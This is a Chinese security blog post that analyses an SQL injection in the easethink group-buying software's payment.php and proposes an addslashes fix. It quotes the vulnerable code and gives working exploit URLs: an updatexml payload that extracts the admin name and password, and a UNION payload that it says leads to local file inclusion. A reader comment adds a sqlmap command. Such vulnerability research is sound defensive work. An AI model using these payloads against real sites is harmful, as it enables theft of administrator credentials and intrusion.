您的位置 » 首页 » 代码审计,实用工具 » 代码审计:easethink payment.php注入漏洞分析 附利用EXP

代码审计:easethink payment.php注入漏洞分析 附利用EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年06月21日 | 文章热度:9,486 次 全屏阅读

显示不全请点击全屏阅读

一个分析报告,安全宝能够拦截,发一下吧。博客没啥文章了,最近略忙。。。

略忙。。。

略忙。。。

略忙。。。

略忙。。。

漏洞作者:leehenwu

01漏洞分析

 

漏洞在payment.php文件

elseif($_REQUEST['act']=='return')
{
//支付跳转返回页
$class_name = $_REQUEST['class_name'];
$payment_info = $GLOBALS['db']->getRowCached("select * from ".DB_PREFIX."payment where class_name = '".$class_name."'");
if($payment_info)
{
require_once APP_ROOT_PATH."system/payment/".$payment_info['class_name']."_payment.php";
$payment_class = $payment_info['class_name']."_payment";
$payment_object = new $payment_class();
$payment_code = $payment_object->response($_REQUEST);
}
else
{
showErr($GLOBALS['lang']['PAYMENT_NOT_EXIST']);
}
}

$class_name 没有过滤,导致注入,需要GPC=OFF

 

02 攻击测试

测试地址:www.cnseay.com

访问:

http://www.cnseay.com/payment.php?act=return&class_name=-1' and (updatexml(1,concat(0x3a,(select concat(adm_name,0x3a,adm_password) from easethink_admin limit 1)),1))-- 1

这里引发了一个二次利用,可以转化为本地文件包含漏洞,需要截断。

包含system/payment/目录下的2_payment.php

http://localhost/easethink/payment.php?act=return&class_name=-1′ union select 1,2,3,4,5,6,7,8,9,10,11 — 1

 03 解决方案

$class_name = $_REQUEST['class_name'];

 

修改为

$class_name = addslashes($_REQUEST['class_name']);

Tags:

easethink漏洞, 易想团购漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3078/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

  • 小蒙 说:
    1楼
    2016 年 8 月 13 日 下午 8:55 回复

    为什么sqlmap跑不了
    语句:sqlmap.py -u “http://127.0.0.1/b/payment.php?act=return&class_name=1” -p class_name –dbms=mysql

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)